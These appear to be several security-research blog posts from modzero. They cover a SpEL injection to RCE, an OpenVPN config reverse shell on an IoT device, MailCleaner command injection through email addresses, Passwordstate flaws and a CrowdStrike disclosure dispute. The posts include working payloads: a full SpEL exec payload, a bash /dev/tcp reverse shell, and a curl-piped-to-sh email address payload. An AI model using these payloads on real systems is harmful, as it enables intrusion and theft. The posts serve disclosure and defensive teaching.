As pentesters, we know that a denylist is usually not failsafe. So we searched through all libraries that were imported by our web application and tried to identify interesting classes that might give us the means to call methods via reflection… And we were successful! The library is not loaded by default in Spring Boot, but it is likely that many applications depend on it as it is in org.apache.commons.lang3. It’s called MethodUtils. Checking its documentation shows that it has everything we need to create a payload.

Developing the Exploit

Now we have everything to create an exploit. First, we get the class object of MethodUtils:

1

 "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")

Then we want the instance of Runtime:

1

 "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime")

And finally invoke the method exec on it:

1

 "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeMethod("".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), "exec", "whoami")

Yay, a blind RCE! However, our target was not allowed to create outgoing connections. Also, the involved classes of this exploit imposed multiple restrictions, which is why we opted to write to an intermediate file and return its contents in the HTTP response. This results in our final Frankenstein payload which also allows you to run commands without an external channel:

1
2

Cmd: bash -c {echo,d2hvYW1p}|{base64,-d}|{bash,-i}>abc
Referer: '+${"".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeMethod("".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), "exec", #ctx.getVariable("org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER").getAsyncWebRequest().getHeader("CMD"))+""+#ctx.getVariable("org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER").getAsyncWebRequest().getResponse().reset()+@servletContext.setAttribute("1",#ctx.getVariable("org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER").getAsyncWebRequest().getResponse().getWriter())+""+@servletContext.getAttribute("1").println("".class.forName("org.apache.commons.io.IOUtils").toString("".class.forName("org.apache.commons.io.FileUtils").readFileToString("abc").getBytes()))+@servletContext.getAttribute("1").close()}+'

We were quite happy - at least for a minute - because we know that there are probably easier ways to achieve the final result. So if you manage to get rid of the file write and find a more direct approach to return the command’s results, please share it :)

How is that possible? Well, documentation can make us aware of risky functionality. Occasionally, system developers make use of a technology without being aware of the entire set of features it offers. This is understandable: with all the technologies included in a modern software project it is admittedly difficult not to miss anything. Still, not being aware of security-critical functionality can have severe consequences as it may facilitate exploits.

In a recent project, we came across such a case. We were testing an IoT device that provided all kinds of interesting functionality. The device could be configured to access the internet via a VPN server. This feature immediately caught our attention since VPN functionality usually implies high privileges. And in fact: the VPN feature could be exploited to establish a root shell on the device, enabling further attacks.

Specifically, a user with administrative privileges could activate the VPN connection by logging in to the device’s web interface, uploading an OpenVPN client configuration, and starting the OpenVPN client on the device. We noticed that the application did not impose any restrictions on the configuration options which are included in uploaded OpenVPN client configurations. This lead us to consulting the OpenVPN documentation to look for juicy options. We thus discovered the up-directive, which allows for specifying a script that is run every time a connection to the VPN server is established successfully. Bingo!

This post provides a comprehensive tutorial so you can try this exploit at home!

Don’t try this at home!

We have prepared a deliberately vulnerable sample application so you can follow along: vuln-app-poc.zip ⤓.

Setup

The “IoT device” hosting both the vulnerable application and the OpenVPN access server it connects to will each run in a dedicated Docker container. You will therefore need Docker installed on your PC. We also need our own OpenVPN access server since this way, it is easy for the “IoT device” to successfully establish a VPN connection. A VPN connection being established successfully is the trigger for our malicious code to run. The malicious script specified inside the OpenVPN client configuration will establish a reverse shell on the “IoT device” inside a terminal on your machine.

Once you’ve downloaded the vulnerable sample application, navigate into the top-level directory. Build the image and run the container by executing the following commands:

sudo docker build -t vuln-app-poc:v1.0.0 .
sudo docker run -d --cap-add=NET_ADMIN --device /dev/net/tun -p 5000:5000 vuln-app-poc:v1.0.0

Notice that we have to endow the container with special privileges: --cap-add=NET_ADMIN means the container is able to interact with your PC’s network interfaces (cf. Docker docs on runtime privilege and linux capabilities), and --device /dev/net/tun means the container is allowed to access your PC’s tun device.

Once the container has started, you can find the vulnerable application’s web interface under http://127.0.0.1:5000. The vulnerable application allows users to upload an OpenVPN client configuration and toggle the OpenVPN client’s state between active and inactive (see images below). At this point however, we neither have a server to connect to nor a configuration to upload, so let’s continue with our setup.

The easiest way to host an OpenVPN Access Server is to use the official Docker image. This way, all we need to do is pull the image from DockerHub and run it — no need to ruin our day by setting up the server ourselves. Firstly, create a directory for persisting files between multiple runs of the container: mkdir openvpn-tmp. Then, run the following commands to pull the image and run the container:

sudo docker pull openvpn/openvpn-as:2.14.0-b90cb316-Ubuntu22

sudo docker run -d \
--name=openvpn-as --cap-add=NET_ADMIN \
-p 943:943 -p 443:443 -p 1194:1194/udp \
-v "$(realpath openvpn-tmp)":/openvpn \
openvpn/openvpn-as

Notice that here too, we need to provide the container with the privilege to interact with network interfaces. Also, the OpenVPN server exposes three ports: 943 (the server’s web interface), 1194 (for connecting to the server over UDP), and 443 (for connecting to the server over TCP).

After starting the container, you can navigate to the OpenVPN access server’s admin interface under https://127.0.0.1:943/admin. The admin user’s username is openvpn, and its password was auto-generated during setup and can be retrieved by executing the command sudo docker logs openvpn-as | grep "Auto-generated pass".

If we were to set up an actual OpenVPN access server reachable from the public internet, we would need to specify a public IP address or domain under Configuration > Server Network Settings. However, since both the “IoT device” and the OpenVPN access server are running inside Docker containers, they can address each other using their IP addresses inside the Docker network. Thus, we don’t need to modify the server network settings.

Next, we want to create a victim user (under User Management > User Permissions inside the OpenVPN access server’s admin panel). We want the victim user to be able to connect to the access server automatically, without requiring any interaction or authentication. Therefore, we need to make sure we tick the Allow Auto-Login checkbox (see image below). Also, provide the victim user with some arbitrary password for logging in to the access server’s web interface.

We can now log out of the OpenVPN access server’s admin panel and log in to the victim user’s account. Navigate to https://127.0.0.1:943 and log in to the account of the victim user created in the previous step. Download the user’s connection profile from Available Connection Interfaces > Yourself(autologin profile), as shown in the image below. Note that the terms Connection Profile and Client Configuration File refer to the same thing in the context of OpenVPN.

Now we have everything ready for mounting the actual exploit. Try to figure it out for yourself first, or continue reading to learn how we did it!

Exploit

Next, we will begin the attack by specifying a malicious script inside the client configuration file.

One of the options that can be included in an OpenVPN client configuration is the script-security directive. With this directive, policy-level control over OpenVPN’s usage of external programs and scripts can be specified. Possible values are the numbers from 0 to 3, in ascending order of permissiveness (i.e., 0 = least permissive, 3 = most permissive). script-security 2 means that the calling of built-in executables and user-defined scripts is allowed. Consequently, in an OpenVPN client configuration containing script-security 2, users can define scripts and associate their execution with certain events. Inside the up directive for example, a script that is run whenever a connection to the VPN server has been established can be defined. Similarly, inside the down directive a script that is run whenever the client has disconnected from the VPN server can be defined.

By adding the following two lines to the OpenVPN access profile we downloaded earlier, we can establish a remote shell on XXX.XXX.XXX.XXX:8282 (replace XXX.XXX.XXX.XXX with the IP of your own machine) once the client has connected to the OpenVPN server:

script-security 2
up "/bin/bash -c '/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/8282 0>&1'"

Now that our script is included in the client’s access profile, we are good to go! Let’s launch a process that listens for incoming connections on port 8282, the port we want the victim’s shell to connect to on our machine:

nc -lvvp 8282

Navigate to the vulnerable application’s web interface, upload the modified configuration, and press Toggle VPN to activate the OpenVPN client. This should result in the “IoT device”’s shell connecting to our listener, as shown below:

Conclusion

Bottom line: if you’re a dev, there’s no way around acquainting yourself properly with the functionality offered by technology you want to integrate into your application. Luckily, doing so was never easier than it is today: simply ask your favorite GenAI if there’s anything you need to be aware of. If it says no but some sneaky person still manages to exploit your application, let me know — I love to hear proof of human intelligence reigning supreme! Jokes aside, bottom line is that if you want to use a technology, you need to do your research in order to protect your users.

In this specific example, if your application uses OpenVPN, make sure that users cannot specify any security-critical options inside the configuration. Since allow-listing is preferable over deny-listing, only allow a restrictive set of configuration options! You might also take a step back and ask yourself: does my application really need a VPN feature? If it is not crucial to the application, you should limit the attack surface by removing the feature altogether. Less is more (at least in some areas of life)!

As part of a security research, our colleagues Michael Imfeld and Pascal Zenker examined the commercial and open source spam filter appliance MailCleaner and identified multiple high severity vulnerabilities (CVE-2024-3191, CVE-2024-3192, CVE-2024-3193, CVE-2024-3194, CVE-2024-3195, CVE-2024-3196). Successful exploitation allows an unauthenticated attacker to take over the appliance as root user and gain full access to all emails handled by it through a malicious email.

Details about these and all other identified security vulnerabilities in MailCleaner can be found in our published disclosure report PDF. The vulnerablities were communicated to MailCleaner in a coordinated disclosure and were fixed by the vendor.

What is MailCleaner?

MailCleaner is an email filtering appliance which is designed to counteract spam, viruses, and other malicious content. It offers both commercial and community editions to accommodate different requirements. The deployment of the product can be imagined similarly to a reverse proxy for web applications. The main mail exchange record for a domain is pointed to MailCleaner which applies its filtering and forwards messages to the actual mail server.

While the number of deployments across the internet of around 4000 instances during an initial assessment wasn’t particularly remarkable we identified a couple of interesting organizations relying on MailCleaner. Among these organizations were governments, universities and large insurance companies. So MailCleaner would indeed qualify as an attractive target for attackers.

“This is a valid Email Address?!"@modzero.com

An email address, as defined in the RFC standards, comprises two main parts: the local part and the domain part, separated by the “@” symbol.

Following the “@” symbol is the domain part, which specifies the email provider or the organization’s domain where the mailbox resides. This section typically includes a domain name like modzero.com and can be divided into subdomains, such as mail.modzero.com. The domain part is generally restricted to letters, numbers, hyphens, and periods, ensuring that email addresses are compatible across various systems and protocols.

But it’s the local part, which precedes the “@” sign, that is more interesting for us as pentesters. Because it identifies the mailbox within a domain where the email is to be delivered. This part can include a variety of characters, such as letters (both uppercase and lowercase), numbers, and even certain special characters. Hereby the specific alphabet is decided on the fact whether the local part is quoted or unquoted. The unquoted local part’s alphabet can include any of these chars: A-Za-z0-9!#$%&'*+-/=?^_`{|}~. For example, jane.doe@modzero.com,jane_doe+newsletter@modzero.com, and 1234?@modzero.com are all valid representations for the local part.

When using the local part quoted in an email address, as specified by RFC standards, the rules for which characters it can contain become more lenient, allowing for a broader array of options. For this, the local part is wrapped in quotation marks (”), enabling the inclusion of spaces, dots, and special characters that would otherwise be interpreted differently or not allowed at all: "(),:;<>@[\].

While for example an unquoted local part might not allow for spaces or consecutive dots, the quoted local part can include them, such as"jane.doe...something"@modzero.com, "jane doe"@modzero.com or even ".(),:;<>[]\""@modzero.com. This quoted format effectively tells the email system to take the enclosed sequence of characters exactly as it is, without applying the usual parsing rules that might split a username into parts or disallow certain characters.

It is worth mentioning that despite this flexibility, the use of quoted local parts is relatively rare in everyday email communication due to the added complexity and the potential for misunderstandings when addresses are typed or communicated verbally. Additionally, not every mail provider is handing out their email addresses with the full RFC compliant alphabet. Which means that these mail-servers reject recipient mail addresses including special characters under certain circumstances or even assign a different meaning to them. One such an example would be sub-addressing.

Sub-addressing is a feature that allows users to extend their basic email address with additional identifiers, enabling better management and organization of incoming emails. This is typically achieved by appending a plus ("+") sign followed by a tag to the local part of the email address. The purpose behind sub-addressing is to create variations of a single email address for different uses, without the need for setting up multiple email accounts. For instance, if your primary email address is janedoe@modzero.com, you could use sub-addressing to create variations like janedoe+news@modzero.com for signing up for newsletters, or janedoe+shopping@modzero.com for online shopping. All emails sent to these sub-addresses land in the inbox of janedoe@modzero.com, but they can be easily filtered or sorted based on the unique identifiers after the plus sign. Several public mail providers support sub-addressing as e.g., gmail.com or outlook.com. It is important to note that while the local part of the email address can contain a plus sign and additional characters for sub-addressing purposes, the interpretation and handling of these addresses are up to the email provider’s system. Some systems might ignore the plus sign and everything after it, while others fully support this feature and allow users to take advantage of it for email management and filtering.

What’s in it for attackers?

In software development it seems common knowledge that user input is a breeding ground for security threats. This understanding is (partly based on prejudices but also based on many incidents…) rooted in many incidents where insufficiently sanitized input led to breaches and exploits. Yet, despite this awareness, recognizing all forms of user input, especially those that appear benign, remains a challenge. Email addresses, for instance, often defy expectations about what user input can entail. Many developers and systems assume that email addresses are straightforward, consisting only of alphanumeric characters, dots, and the occasional dash or underscore. This assumption, as explained in the previous section, is a misconception that can lead to overlooked vulnerabilities.

Email addresses, as defined by the RFC standards, can include a wider range of characters than commonly expected, including quotes and special characters in the local part if appropriately quoted. One clear example of how this can be exploited is the threat of stored Cross-Site Scripting (XSS) attacks. Stored XSS attacks occur once an application stores user input unsafely and then displays this unescaped content to other users. If a system does not recognize that quotes and other special characters can be part of a valid email address, attackers can exploit this oversight by injecting malicious scripts into their email addresses. When these addresses are displayed to users, the embedded script can execute within their browser, leading to data theft, session hijacking, or other malicious outcomes.

Crafting an Exploit With Strict Limitations

With this theory in mind we started hunting for vulnerabilities within MailCleaner. We were particularly interested in finding a vulnerability that would be exposed to the mailing service (SMTP) rather than the web interface because many instances that are publicly available do not allow access to the web interface.

A couple of system() calls in MailCleaner’s clean spam quarantine cron job that is run at midnight every day sparked our interest. One of the lines looked like this: system("rmdir $domain_entry >/dev/null 2>&1");. Tracing back $domain_entry revealed that this variable is populated with a file path globbed from MailCleaner’s spam quarantine directory. This path looked quite promising so we proceeded to setup a local MailCleaner instance to investigate further.

To get a clearer picture of the inner workings of this cleaning procedure we sent a couple of emails containing a spam test string, similar to EICAR for viruses, to our local MailCleaner instance making sure it was classified as spam. Much to our surprise we found that the file paths we were after actually contained the recipient’s email address. Bingo!

To get an impression of the feasibility of the attack we first started experimenting with a local mailcatcher as target server. This had the advantage that we could test against a target that would accept any address so we could solely focus on MailCleaner’s behavior. It also allowed us to leverage the full character set inside a quoted local path as described above.

Our first attempt looked something like this:

";id>mod0;"@mod0.local

On the file system:

Inserted into the system() said line in the code reads:

system("rmdir /var/mailcleaner/spam/mod0.local/;id>mod0;@mod0.local >/dev/null 2>&1");

At this point we knew that we could facilitate an OS command injection by sending an email with a malicious recipient address and a high spam score. There was one problem though. MailCleaner verifies each recipient address of an incoming message on the outgoing mail server before accepting and classifying it. This meant that the malicious recipient address had to be accepted not only by MailCleaner itself but also by the target mail server.

So how could we bypass this limitation? Registering a mailbox on the target would introduce many new hurdles and would also lower the impact significantly. So here is where sub-addressing comes to the rescue!

We decided to give it a go with more realistic targets. As a reference we utilized Gmail and Outlook as outgoing mail providers. The idea was to use an existing address such as jane.doe@gmail.com for Gmail and append the payload utilizing sub-addressing (e.g. jane.doe+<payload>@gmail.com). It became apparent quickly that both targets were not strictly RFC compliant as the quoted email format could not be used. GMail returned “unknown recipient” when an existing local part was wrapped into quotes while Outlook responded with “access denied”. In consequence this meant we could only utilize a restricted set of characters. As an example the semicolon character could not be used. The charset that was allowed boiled down to +&|`${}#*.

The greatest challenge however, posed the restriction of the white space character. Proving that the OS command injection is possible was quite trivial. But without whitespaces it couldn’t really be weaponized to gain a reverse shell. The runtime environment in Dash, as opposed to Bash, further limited our options. On a conceptual level it had to be possible to obtain a white space character and store it in an environment variable to use it in a statement like curl${space}modzero.com|sh. What about ${IFS} and the like, you might think? Unfortunately we couldn’t leverage any existing env variables since the address was always converted to lower case thus making existing env variables inaccessible.

While skimming through the Dash man page we discovered a section about “Parameter Expansion”. Among other functionality there are mechanisms that provide substring processing. So the idea was to extract a white space character from the output of another command.

After experimenting for a while we came up with a solution that looked quite promising. Using df|tac would return the lines of the df output in reversed order. Meaning df’s header would always be at the very bottom. This output is then stored in an env variable called a. On any system the a variable would always end with this line:

<system dependant>
Filesystem     1K-blocks     Used Available Use% Mounted on

Now Dash’s parameter expansion comes into play. The expression ${a##*d} tells Dash to remove anything up until the pattern match. As a result the string " on" is returned, exactly what we needed! Our curl command would now look like this: curl${a##*d}.modzero.com|sh. So it was time to glue anything together. Since we couldn’t use ; to build a chain of commands we had to use || and &&. Chaining what we had so far looked like this:

a=`df|tac`&&curl${a##*d}.modzero.com|sh

For the final exploit a couple of further adjustments had to be made. Since MailCleaner removed one pipe character during processing there is one extra pipe needed at the beginning of the payload to chain everything together. Obviously we also added redirection to Dash of the fetched content via curl. The final weaponized payload looked like this:

john.doe+|||a=`df|tac`&&curl${a##*d}.modzero.com|cat|sh||@gmail.com

After sending a message using the crafted recipient address we found this very legitimate looking file in MailCleaner’s spam directory:

At this point we only had to wait for our reverse shell to be triggered. In summary we built a fully RFC compliant email address without spaces but also a reverse shell payload!👀

See the full working exploit in action:

In a very similar fashion we discovered a stored XSS vulnerability that was triggered by the sender’s email address. As opposed to the recipient address the sender address is not subject to any verification. Therefore we could leverage the full character set through quoting of the local part making exploitation trivial. Combining the stored XSS with an authenticated remote code execution in the admin web frontend led to system compromise similar to the OS command injection described above.

Conclusion

It is clear that dealing with any kind of input in software development stays a difficult problem. Recognizing that any information provided by users can be a potential security risk is the first step towards safer applications. Developers often face challenges in identifying all the different forms of user input, which can make safeguarding against threats tricky. Also assumptions about how secure or straightforward inputs are, especially email addresses, might lead to unexpected troubles. The variety in what’s considered a valid email address alone and the resulting security issues in MailCleaner are a stark reminder to stay vigilant and always and ever sanitize input in your programs.

Acknowledgement

We want to thank MailCleaner for the open and transparent communication within the disclosure process. MailCleaner was responsive throughout the entire process and released their fixes swiftly after receiving our report.

Advisory & Timeline

Find the full technical details about these vulnerabilities, proof of concept code and the disclosure in our advisory.

modzero identified several vulnerabilities in the Poly CCX series, a business media desk phone and the Poly Trio series, which are smart conference phones. It is confirmed by the vendor that other devices are also vulnerable to some of the same attacks, as they share many software components. The discovered vulnerabilities can be combined to take over a device either through the local network or with physical access to it. An attacker could then employ the device to eavesdrop using the built-in microphones or reroute incoming and outgoing calls. It would also be possible to install malicious applications, attack the connected network or perform phishing attacks on users by prompting for their credentials.

The session tokens generated for the different Poly devices’ web management interfaces are using weak randomness. Effectively all tokens generated in the span of a second have the same value and the tokens can be predicted by an attacker due to a deterministic algorithm based on the time in seconds. An attacker with network access can continuously generate valid session tokens for the web management interface, trying to authenticate with them, eventually stealing an administrator session once they log in. One of the discovered vulnerabilities allows an attacker to crash the devices with an unauthenticated HTTP request. They may thus provoke an administrator to log into the Poly device’s web management interface thereby enabling the session takeover.

An attacker can then leverage the lack of password protection in the configuration import to override the currently set password and gain persistence on the device. From here, an attacker has multiple options to elevate their access:

On older devices such as the Trio 8800, they can enable a diagnostics Telnet shell and use a command injection vulnerability to gain full control with root privileges. If they attack a device where the command injection has been patched, for example the Poly CCX 400, they can use the management interface to roll back the firmware to an older, vulnerable version and exploit it the same way afterwards.

An attacker with physical access but without administrative privileges can gain these on Trio devices with internet connection, by registering them with Poly’s management cloud called Lens. This can be achieved by navigating to a menu which is not password-protected and using the displayed cloud registration code.

With administrative access on Trio devices an attacker can enable the “Test Automation” mode on the device by solving a challenge-response problem posed by the device. By reverse-engineering the algorithm behind the challenge, modzero was able to create a proof-of-concept tool for generating valid responses to these challenges. The only required information is the device’s MAC address, which is printed on the bottom of the device. Once the mode is enabled, the devices start an ADB and Telnet daemon on boot. Both allow unauthenticated shell-level access to the device, to run arbitrary code.

Products that were tested by modzero:

While not explicitly verified by modzero, the vendor noted that the following devices or product lines are affected at least in part:

• Trio 8300/8500/8800/C60
• CCX
• VVX
• Edge E

Further details by the vendor will be published on the respective product pages or at the HP security bulletin site.

The full disclosure report can be found on the advisory page. The proof-of-concept code will be published in January 2024 on our GitHub.

To celebrate we have decided to revamp our company design across the web and other media.

From now on you can find our latest blog posts and vulnerability advisories here [+RSS] while we work to move selected older articles in the near future as well. In the meantime you can find the archive here.

tl;dr

As part of a security analysis, our colleagues kuekerino (T / M), ubahnverleih (T / M) and parzel (B / M) examined the password management solution Passwordstate of Click Studios and identified multiple high severity vulnerabilities (CVE-2022-3875, CVE-2022-3876, CVE-2022-3877). Successful exploitation allows an unauthenticated attacker to exfiltrate passwords from an instance, overwrite all stored passwords within the database, or elevate their privileges within the application. The individual vulnerabilities can be chained to gain a shell on the Passwordstate host system and dump all stored passwords in cleartext – Starting with nothing more than a valid username!

Details about these and all other identified security vulnerabilities in Passwordstate can be found in our published disclosure report [PDF].

Click Studios states that all vulnerabilites are fixed since Passwordstate 9.6 - Build 9653.

Securing Your Password Manager Is Crucial for the Security of Your Organization

Many enterprise organizations struggle with password management. Password management solutions simplify this process by generating, storing and managing our passwords. Storing passwords in a secure password manager is so far the best method to safe-keep passwords, but it is important to understand that the more secrets are stored within a single centralized location, the more valuable it will be for criminals. Therefore it is of crucial importance that the solution storing the secrets is secure.

We experienced first hand how severe that lack of security can be, when we conducted a pentest for a customer. The customer planned to migrate their password management to the solution Passwordstate by Click Studios and wanted to make sure that their passwords would be securely stored and can only be accessed by authorized users.

Passwordstate is an on-premise enterprise password management solution. It allows its users to store, access and share sensitive password material. The password manager has support for a vast amount of features, different access control systems and connectors to enterprise identity management solutions. With over 29,000 customers, “spanning from the largest of enterprises, including many Fortune 500 companies to the smallest of IT shops”, it is widely deployed.

We started our analysis by setting up our own instance of Passwordstate with a machine-in-the-middle setup. This allowed more transparent and dynamic testing. Afterwards we used the whole application for a few hours to map as many of the available features as possible. Our first observation was that the core of the application uses a framework, but the various API parts had a more custom tailored feel. Some API components used a different authentication mechanism and we suspected that it was developed without the framework. This seemed to be a promising place to start, as custom written code most often is more prone to errors.

The first API we looked into was the browser extension API. Passwordstate has support for a browser extension, which can store, modify and retrieve passwords for users. As this API directly handles confidential credentials, it peaked our interest.

The browser extension authenticates against the API with a token and we wanted to know how it is generated. As the software is written in C#, it should have been easy to decompile it. To prevent decompilation, the vendor used code obfuscators – these can’t hide the code completely, but can make it more time-consuming to decompile or understand the code. Contrary to a real attack, time is limited in pentests. So, instead of deobfuscating the code, we tried another approach: The changelogs of the software showed that code obfuscation was introduced a few major versions before. These versions cannot be downloaded on Clickstudios’ website anymore, but the Internet Archive had some older versions available.

The decompiled version contained a surprise for us: The API token is not some randomly generated string or secret, neither is it cryptographically signed. Instead, the API token contained concatenated user information that was XOR encrypted with a hardcoded key. A decrypted example can bee seen here:

Even more surprising was the code, which validated the token: The only field from the string used for authentication and authorization was the username. This implied the following:

• Tokens cannot be invalidated when they are compromised
• Tokens are not changed on a user’s password change
• We can create our own token for a known username

The last point is crucial: We only need to know an existing username to craft a valid API token with the hardcoded XOR key. As a result we can access and modify all data which the browser extension can access and this includes all passwords of that user that have a URL entry attached to it. This is the default for any password stored through the browser extension. We were off to a great start, but there were some passwords left within the instance we could not access yet. So we decided we need to dig deeper to acquire them as well.

The fact that we retrieved the requested passwords from the API in cleartext got us thinking. Because this means that the passwords are either not stored encrypted on the server or are stored with only server-side encryption within the database. An inspection of the database on our installation showed that the latter was the case. In fact, the server-side decryption was already reversed by Northwave Security a few years back. They have published a proof of concept which allowed to extract the obfuscated AES key used for encrypting the database from different files on the system and snippets from the database. Afterwards it dumps all passwords stored within the database.

We consider this architecture a fundamental design flaw, as any attacker with access to the host system can dump all stored passwords on it! The linked code though is only working for builds until version 8903, afterwards it was mitigated with an update. There was no major announcement regarding a change of cryptographic implementation in Click Studios’ changelog or release notes. This led us to believe that the fix may not address the root cause but only changed and subsequently obfuscated the decryption process enough to break the proof of concept tool. To verify our suspicion we generated the previously working encryption key with the tool:

We performed some in-memory searches to see if the key is still in use by the application in its previous form. Yes, it was! And right next to it was something which looked very similiar to a key as well. We tried decrypting the database with it and it worked. The following image shows the two keys next to each other. Can you spot the connection? A simple one-line patch is sufficient to make the password decryptor work again.

But in order to get to the encrypted passwords, we would need access to the database or – even better – get a reverse shell.

We already mentioned the vast feature set of Passwordstate like its role based access system. Users with the administrator roles have a special menu that gives access to many administrative features, for example backing up the database or adding new users. Or – and this feature seemed particularly interesting to us – the ability to run arbitrary Powershell scripts on the host-machine: Code execution as a service! If we could find a way to elevate our privileges within Passwordstate to an administrator user, we could access the host system and dump all passwords. But remember, we may have access to the browser extension API so far, but that does not give us access to an actual session within the web instance.

As the Passwordstate user interface is a website, this provides a huge surface for cross-site scripting (XSS) attacks. We did not have to dig deep to find one: URLs could be assigned to passwords which can quickly be visited from within the password manager. The link validation was insufficient and allowed the use of the JavaScript protocol handler and therefore for easy XSS attacks with a single click.

The actual URL is mostly hidden in Passwordstates’ user-interface, increasing the probability of an unsuspecting user clicking the link. And here comes the art of make humans clicking links: As an authenticated user this is easy – Passwordstate allows sharing of password lists. Inviting a colleague to the password list for the next project is common. And if the only place where the URLs are shared is the shared list, a click on the link is not unlikely.

But what seems even more authentic than a link in a shared password list? A link in a user’s private password list. How do we do that? With an IDOR.

We already found a major vulnerability within the browser extension API and as hackers we know: One vulnerability seldom comes alone. One of the first things we checked with our unauthenticated API access was, if we can access other user’s passwords. We had no luck with that, but discovered that it is possible to store new password entries within other people’s password lists when the list’s ID is known by using the following request:

1
2
3
4
5
6
7
8

POST /api/browserextension/addpassword/ HTTP/2
Host: XXX
Cookie: session-id=XXX
Content-Length: XXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

auth_key=XXX&PasswordList=anything&PasswordListID=1&Title=please+open+me&UserName=username&D
description=please+open+me&URL=any_url&Password=password&WebsiteFavicon=anything

This even worked for private password lists! When inspecting the request to the API, we quickly noticed the numerical and incremental nature of the IDs that are used in the requests. Simply by iterating, an attacker can add the XSS payload to every single password list in the system – And that is exactly what we needed to spray the XSS payload.

The Exploit

Now we had all the puzzle pieces for an exciting vulnerability chain that could get us from a remote attacker with only a valid username to accessing all passwords stored on the Passwordstate instance. The cherry on top is of course the reverse shell on the instance that allows an attacker to keep their access even when these vulnerabilities are fixed.

Let’s see how the individual vulnerabilities can be combined:

• Forge an API token for a valid username

  

• Iterate through all public and private password lists and add malicious password entries with the XSS payload in the URL field

  

• Wait until an administrator opens the prepared password entry and cover it by opening a benign URL

  

• Get a reverse shell

  

• Finally decrypt and dump all passwords stored within the Passwordstate instance

  

Conclusion

Password safety and therefore password management solutions are the foundation on which an organization’s security infrastructure is built on. They are the keys to the queendom and as such they should be handled with the utmost care. Their security must be treated as a holistic endeavor from architecture to implementation and maintenance. A vast feature set often also implies a huge attack surface, with lots of room for errors.

The uncovered findings show the incredible importance of ongoing security audits for critical assets and red teaming engagements within organizations.

Acknowledgement

We want to thank Click Studios for the open and transparent communication within the disclosure process. Click Studios was responsive throughout the entire process and released their fixes swiftly after receiving our report.

Advisory & Timeline

Find the full technical details about these vulnerabilities, proof of concept code, the disclosure timeline and all other identified vulnerabilities in our advisory.

The vulnerability is a case of insufficient control flow management, that allows an attacker with administrative privileges to bypass the Falcon Agent Uninstall Protection feature of CrowdStrike. As the exploit needs high privileges, the overall risk of the vulnerability is very limited.

While the vulnerability itself might not be worth a blog post, we'd like to write a few lines about the ridiculous disclosure process.

CrowdStrike is a major vendor in the area of IT security and we expected a straightforward coordinated disclosure process. To our surprise, the communication and disclosure with CrowdStrike was tedious and turned unprofessional in the end. Throughout the whole process, CrowdStrike pushed us repeatedly to disclose the vulnerability through their HackerOne bug bounty program, which would have forced us to agree on the HackerOne Disclosure terms.

We communicated early on that we are neither willing to participate in any bug bounty program nor sign an NDA, because we are the ones, providing information to them. After providing CrowdStrike with a draft of the security advisory and exploit source code we were informed that they could not replicate the issue with an updated version of the sensor. Our request for a 14-day trial version to verify that ourselves was denied.

As the issue was not considered valid, we informed CrowdStrike that we would release the advisory to the public. In response, CrowdStrike tried again to set up a bug bounty disclosure meeting between "modzero's Sr Leadership" and CrowdStrike CISO "[...] to discuss next steps related to the bug bounty disclosure" in contrast to our previously stated disclosure rules.

Sometime later, we were able to acquire an updated version of the sensor and discovered that parts of the formerly provided exploit code and a specific msiexec call, are now flagged as malicious behaviour by the sensor. This leads us to conclude that CrowdStrike tried to "fix" the issue, while being told the issue didn't exist. Which is pretty disrespectful to us.

We were able to circumvent the countermeasures introduced silently by CrowdStrike. With small changes to the exploit, it is now working again (tested with version 6.42.15610 of the CrowdStrike Falcon software).

We believe that vulnerability disclosure is a two-way street. Vendors, as well as researchers, should act responsibly and show mutual goodwill and transparency. Mutual non-disclosure agreements and restrictions imposed by bug bounty programs limit the disclosure process. Remember, just because no CVE-IDs are publicly known, does not mean bugs haven't been reported and fixed. Many bug bounty reports never assign CVE-IDs, leading to a false perception of security and software quality.

References

• Proof of Concept screencast
• modzero Security Advisory MZ-22-02

Disclosure Timeline

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

    2022/04    - Found   vulnerability  in   CrowdStrike  Falcon   Sensor
                 (6.31.14505.0)

    2022/06/04 - modzero  asked  for   security  contact  @  CrowdStrike,
                 because their "report a  security bug" page only refered
                 to the hackerone Bug Bounty program.

    2022/06/06 - CS  answered   that  modzero   can  use   the  hackerone
                 submission page, or  send an E-Mail to  their support at
                 support@crowdstrike.com.

    2022/06/06 - modzero  asked   if  it   is  okay  to   send  sensitive
                 information  about  0day  vulnerabilities  to  support@.
                 modzero also told  CS that we are not  willing to accept
                 terms & conditions  of hackerone, which is  why we asked
                 for a direct security contact.

    2022/06/06 - CS offered  to enroll  modzero in  a private  bug bounty
                 program at  hackerone, under the conditions  that we are
                 willing to sign a mutual non-disclosure agreement.

    2022/06/07 - to  prevent further  misunderstandings, modzero  told CS
                 again, that:

                 * we would like to submit a security related bug.
                 * we  don't  want  to  participate  in  any  bug  bounty
                 programs.
                 * we are not willing to  sign any NDA because WE are the
                 ones, providing information to CS.
                 * we are  not  willing  to accept  any sort  of terms  &
                 conditions that  are out of  scope of well  known hacker
                 ethics.
                 * we  only want  to get a  reliable security  contact on
                 their side.

                 Aditionally,  modzero  sent  a  link  to  their  current
                 vulnerability disclosure policy.

    2022/06/07 - CS told us to send the report to bugs@ for review.

    2022/06/13 - CS asked for the report.

    2022/06/13 - modzero told CS  that we need a little bit  more time to
                 finish and double check everything before submitting.

    2022/06/29 - modzero sent Security Advisory (draft), Proof of Concept
                 exploit sourcecode, executable and a Screencast video of
                 the PoC to CS.

